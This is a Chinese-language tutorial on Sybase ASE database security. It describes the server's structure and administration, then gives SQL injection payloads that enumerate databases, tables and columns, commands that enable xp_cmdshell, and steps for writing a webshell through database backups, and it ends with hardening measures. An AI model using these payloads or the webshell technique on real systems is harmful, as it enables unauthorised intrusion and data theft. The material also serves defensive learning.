Sybase數(shù)據(jù)庫(kù)安全
0x00 Sybase數(shù)據(jù)庫(kù)介紹
簡(jiǎn)介
Sybase的全稱(chēng)又叫: SAP Sybase Adaptive Server Enterprise (簡(jiǎn)稱(chēng)ASE或Sybase ASE),繼承于MSSQL的原始代碼,和MSSQL血緣很近。Sybase是一種關(guān)系型數(shù)據(jù)庫(kù)系統(tǒng),是一種典型的UNIX或WindowsNT平臺(tái)上客戶(hù)機(jī)/服務(wù)器環(huán)境下的大型數(shù)據(jù)庫(kù)系統(tǒng)。它以PowerBuilder為開(kāi)發(fā)工具,以 SAP Sybase SQL Anywhere 為客戶(hù)端。目前新版是ASE 15.7.x,命名從12.5.5直接到15.0.0(跳過(guò)中間的13、14),本次測(cè)試的是12.5.2,其中12.5是12大版本中最穩(wěn)定的版本。
創(chuàng)建數(shù)據(jù)庫(kù)的時(shí)候要注意存放設(shè)備:
服務(wù)及端口
開(kāi)放端口:
備份服務(wù):5001、監(jiān)控服務(wù):5002、數(shù)據(jù)庫(kù)主服務(wù):5000、存儲(chǔ)過(guò)程服務(wù):5004
默認(rèn)數(shù)據(jù)庫(kù)
Master :系統(tǒng)的核心數(shù)據(jù)庫(kù),控制服務(wù)器的操作以及存儲(chǔ)有關(guān)所有用戶(hù)數(shù)據(jù)庫(kù)和相關(guān)的存儲(chǔ)設(shè)備的信息,包括用戶(hù)的用戶(hù)名和密碼;
Model :模板數(shù)據(jù)庫(kù),當(dāng)創(chuàng)建用戶(hù)數(shù)據(jù)庫(kù)時(shí),系統(tǒng)根據(jù)model數(shù)據(jù)庫(kù)制作副本,并將數(shù)據(jù)庫(kù)的大小擴(kuò)展到用戶(hù)指定的大小。
Systemprocs :保存系統(tǒng)的存儲(chǔ)過(guò)程。
Sybsystemdb :關(guān)于分布式事務(wù)管理功能。
Tempdb :包含臨時(shí)表,放置臨時(shí)數(shù)據(jù)。
注冊(cè)用戶(hù)和數(shù)據(jù)庫(kù)用戶(hù)
當(dāng)SQL SERVER創(chuàng)建注冊(cè)用戶(hù)后,該用戶(hù)就能合法進(jìn)SQL SERVER,該注冊(cè)用戶(hù)信息會(huì)放在master數(shù)據(jù)庫(kù)中的 syslogins表中。但只有注冊(cè)用戶(hù)成為某一數(shù)據(jù)庫(kù)用戶(hù),并且對(duì)該用戶(hù)賦予某些權(quán)限時(shí),該注冊(cè)用戶(hù)才能在限制條件下使用數(shù)據(jù)庫(kù)中的表。
創(chuàng)建注冊(cè)用戶(hù):
- sp_addlogin loginame, passwd (刪除即為drop)
創(chuàng)建數(shù)據(jù)庫(kù)用戶(hù):
- [dbname..] sp_adduser loginame (此處的loginame 必須是注冊(cè)用戶(hù),否則報(bào)錯(cuò))
分配權(quán)限:
- grant all | select,insert,delete,update
- on table_name | view_name | stored_procedure_name
- to username
或
- grant all | create database,create
- default,create procedure,create rule,create table,create view,set proxy,set session authorization
- to username
數(shù)據(jù)庫(kù)用戶(hù)分類(lèi)
sa用戶(hù)、數(shù)據(jù)庫(kù)屬主、數(shù)據(jù)庫(kù)對(duì)象屬主和數(shù)據(jù)庫(kù)普通用戶(hù)
1)、sa用戶(hù):為系統(tǒng)用戶(hù),擁有全部的權(quán)限。
2)、數(shù)據(jù)庫(kù)屬主用戶(hù):數(shù)據(jù)庫(kù)屬主(dbo)用戶(hù)可對(duì)本數(shù)據(jù)庫(kù)中所有對(duì)象(如表、視圖、存儲(chǔ)過(guò)程等)進(jìn)行操作。
3)、數(shù)據(jù)庫(kù)對(duì)象屬主:在實(shí)際管理中, ,一般為數(shù)據(jù)庫(kù)屬主。
4)、數(shù)據(jù)庫(kù)普通用戶(hù):類(lèi)似于public,數(shù)據(jù)庫(kù)普通用戶(hù)必須在數(shù)據(jù)庫(kù)屬主對(duì)本數(shù)據(jù)庫(kù)中某些對(duì)象(如表、視圖、進(jìn)程等)賦予某些權(quán)限時(shí),才可對(duì)本數(shù)據(jù)庫(kù)中某些對(duì)象進(jìn)行允許的操作。
別名(aliases)與組(group)
1)、別名:所謂別名(aliases)即將SQL SERVER中的注冊(cè)用戶(hù)以同一個(gè)數(shù)據(jù)庫(kù)用戶(hù)的身份來(lái)訪(fǎng)問(wèn)數(shù)據(jù)庫(kù),并具有與該用戶(hù)相同的權(quán)限。
2)、組(group)為數(shù)據(jù)庫(kù)用戶(hù)的集合,即通過(guò)對(duì)組(group)的權(quán)限的控制達(dá)到對(duì)該組中數(shù)據(jù)庫(kù)用戶(hù)的控制,但也可對(duì)該組中數(shù)據(jù)庫(kù)某些用戶(hù)進(jìn)行格外的權(quán)限控制。
角色
一般在管理分工較細(xì)的數(shù)據(jù)庫(kù)系統(tǒng)中,sa用戶(hù)往往被分為三種角色:系統(tǒng)管理員角色(SA role)、系統(tǒng)安全員角色(SSO role)、操作員角色(OPER role)。
連接及管理工具
1)、isql
類(lèi)似于mysql數(shù)據(jù)庫(kù)的的mysql.exe??蛇B接本地及網(wǎng)絡(luò)數(shù)據(jù)庫(kù)。 使用isql –U sa –P “”連接:
所有參數(shù)要區(qū)分大小寫(xiě):
-?顯示 isql 開(kāi)關(guān)的語(yǔ)法摘要。
-L列出在本地配置的服務(wù)器和在網(wǎng)絡(luò)上廣播的服務(wù)器的名稱(chēng)。
-U login_id用戶(hù)登錄 ID。登錄 ID 區(qū)分大小寫(xiě)。
-P password 是用戶(hù)指定的密碼。如果未使用-P 選項(xiàng),isql 將提示輸入密碼。如果在命令提示的末尾使用 -P 選項(xiàng)而不帶密碼,isql 使用默認(rèn)密碼NULL)。密碼區(qū)分大小寫(xiě)。
-S server_name 指定要連接到的 SQL Server 默認(rèn)實(shí)例。如果未指定服務(wù)器,isql 將連接 到本地計(jì)算機(jī)上的 SQL Server 默認(rèn)實(shí)例。如果要在網(wǎng)絡(luò)上從遠(yuǎn)程計(jì)算機(jī)執(zhí)行 isql,則需要此選項(xiàng)。
-H hostname 是使用的客戶(hù)端的主機(jī)名稱(chēng)。
-d use database name,用于指定使用數(shù)據(jù)庫(kù)名
2)、官方Sybase SQL Advantage
缺點(diǎn):a、隨數(shù)據(jù)庫(kù)完整安裝包一起發(fā)布,使用時(shí)有版本上的要求。
b、只支持SQL語(yǔ)句,個(gè)人覺(jué)得就是isql的圖形化版,有所不便。
(Sql.ini設(shè)定及功能:http://blog.csdn.net/potato015/article/details/2450989 )
3)、官方Sybase Central
缺點(diǎn):a、隨數(shù)據(jù)庫(kù)完整安裝包一起發(fā)布,使用時(shí)有版本上的要求。
b、功能不是很強(qiáng)大
4)、DBArtisan
0x01 Sybase安全
執(zhí)行系統(tǒng)命令
默認(rèn)xp_cmdshell是不開(kāi)啟的。未開(kāi)啟xp_cmdshell時(shí):
開(kāi)啟xp_cmdshell : sp_configure 'xp_cmdshell context',0
開(kāi)啟xp_cmdshell后執(zhí)行命令:
權(quán)限不夠時(shí)執(zhí)行xp_cmdshell:
細(xì)節(jié):
1、執(zhí)行 sp_configure 'xp_cmdshell',0 允許所有含sa_role角色的login用戶(hù)執(zhí)行xp_cmdshell命令,此功能默認(rèn)關(guān)閉
2、默認(rèn) sp_configure 'xp_cmdshell',1 經(jīng)測(cè)試需要在windows下具有相同longin用戶(hù)名稱(chēng)和密碼,并且該用戶(hù)隸屬administrators權(quán)限組,還有一點(diǎn)不能忽略:取消選擇“用戶(hù)下次登錄時(shí)需更改密碼”!
3、MSSQL由于和windows集成,可以直接使用系統(tǒng)賬戶(hù)登錄到數(shù)據(jù)庫(kù)。而Sybase則需要按照上面第二步做配置才能達(dá)到和MSSQL類(lèi)似的效果。
注釋符與聯(lián)合查詢(xún)
支持union,可以用/ /、--來(lái)注釋?zhuān)梢杂? /來(lái)替換空格,也可以用+代替空格,也支持count( ),不過(guò)通配符 不能出現(xiàn)在子查詢(xún)中。
12.5.2及以前的版本不支持TOP關(guān)鍵字,形如select top N from注入語(yǔ)句將報(bào)錯(cuò)
當(dāng)然,不能用top,肯定會(huì)有替代方案,那就是set rowcount N
但是set rowcount N貌似不支持子查詢(xún)和條件句:
多句執(zhí)行
與mssql不同的地方是:多條語(yǔ)句直接以空格分隔,而不是分號(hào)。
對(duì)編碼的支持
與MSSQL相同:
SQL注入特性
以Php為腳本:
以Java為腳本:
判斷是否是Sybase數(shù)據(jù)庫(kù):
- id=1 and exists(select * from master.dbo.ijdbc_function_escapes)
以報(bào)錯(cuò)方式注入時(shí)要注意,sybase是不支持不同類(lèi)型數(shù)據(jù)直接相比較的(與MSSQL不同):
- id=1 and 1=user
- id=1 and 1=convert(integer,user)
- ![enter image description here][28]
- id=1 and 1=convert(integer,(select+@@version))
- ![enter image description here][29]
- id=-1 union select 1,"",(select @@version)
列庫(kù)(復(fù)雜版本):
- id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>‘ ’))
列出***個(gè)庫(kù)master
- id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>’master‘))
列出除master外的***個(gè)庫(kù)
列庫(kù)(簡(jiǎn)單版本):
- id=1 and 1=convert(integer,(SELECT name FROM master..sysdatabases where dbid=1)) 不斷遞增dbid的值
dbid是連續(xù)的數(shù)字,猜解起來(lái)很容易
PS:雖然Sybase不能用TOP、for xml path,但是支持having、where not in等語(yǔ)法,變化方式依然有多種
與MSSQL不同的一點(diǎn):
MSSQL是xtype Sybase是type
列表(只能用復(fù)雜版):
- id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type=‘U’) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>‘ ’))
列出***個(gè)表cmd
- id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type=‘U’) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>‘cmd’))
列出除cmd外的***個(gè)表cmd0
列字段:
- select name from test..syscolumns where id=object_id(‘users’) and colid=1 遞增colid
即:
- id=1 and 1=convert(integer,(select name from test..syscolumns where id=object_id('users') and colid=1))
工具注入:
穿山甲猜不出庫(kù)名,抓包發(fā)現(xiàn)使用了TOP關(guān)鍵字,看來(lái)穿山甲只支持12.5.3以后的sybase
備份寫(xiě)文件(webshell)
前提條件:
1、備份服務(wù)打開(kāi)
2、備份服務(wù)允許遠(yuǎn)程訪(fǎng)問(wèn)
3、有數(shù)據(jù)庫(kù)權(quán)限(宿主權(quán)限)+磁盤(pán)寫(xiě)權(quán)限
步驟:
、create table cmd(a image)—
、insert into cmd(a) values ('')—
、dump database test to ‘C:\wamp\www\1.php’ 【全備份】
(對(duì)應(yīng)MSSQL為:backup database 庫(kù)名 to disk= 'C:\wamp\www\1.php ' WITH DIFFERENTIAL,FORMAT;--)
dump TRANSACTION test to ‘C:\wamp\www\1.php’ 【LOG備份】
(對(duì)應(yīng)MSSQL為:backup log 庫(kù)名 to disk='d:\www\xxx\test.asp'--)
注:使用dump TRANSACTION時(shí)要求數(shù)據(jù)文件和日志文件不能存放在同一設(shè)備中。
、drop table cmd--
加固與防范
口令
- sp_password “原密碼”, “新密碼”,用戶(hù)名
例如將sa用戶(hù)的密碼由空改為123456: sp_password NULL,”123456”,sa
- sp_configure “minimum password length”,8 ---密碼最短長(zhǎng)度
- sp_configure “check password for digit”,1 ---至少包含一個(gè)數(shù)字
- sp_configure “systemwide password expiration”,90 ---口令有效時(shí)長(zhǎng)
- sp_configure “maximum failed logins”,5 ---設(shè)置口令錯(cuò)誤鎖定閥值
刪除擴(kuò)展存儲(chǔ)過(guò)程xp_cmdshell, 并刪 除 sybsyesp.dll
- exec sp_dropextendedproc xp_cmdshell
關(guān)閉sa賬戶(hù)的使用:
- sp_locklogin sa,"lock“
關(guān)閉遠(yuǎn)程訪(fǎng)問(wèn):
exec sp_configure “allow remote access” ,0
- exec sp_configure “allow remote access” ,0
關(guān)閉后,很多服務(wù)將無(wú)法使用,比如備份
登陸IP白名單
系統(tǒng)沒(méi)有和登陸相關(guān)的限制設(shè)置,只能通過(guò)創(chuàng)建登錄觸發(fā)器來(lái)實(shí)現(xiàn)登陸IP白名單
- create procedure login_trg
- as
- declare @ip varchar(18),@login_name varchar(20)
- begin
- select
- @ip=t.ipaddr,@login_name=suser_name()
- from master.dbo.sysprocesses t where t.spid=@@spid
- if @ip<>'192.168.0.102'
- begin
- raiserror 30000 'IP address %1! ,with user %2! login failed!',@ip,@login_name
- select syb_quit()
- end
- else
- print 'Welcome!'
- end
創(chuàng)建登錄觸發(fā)器后,執(zhí)行如下命令:
- isql>grant execute on login_trg to loginname
- isql>sp_modifylogin loginname, "login script",login_trg
日志
- isql>exec sp_configure "log audit logon failure",1 --記錄登錄失敗信息
- isql>exec sp_configure "log audit logon success",1 --記錄登錄成功信息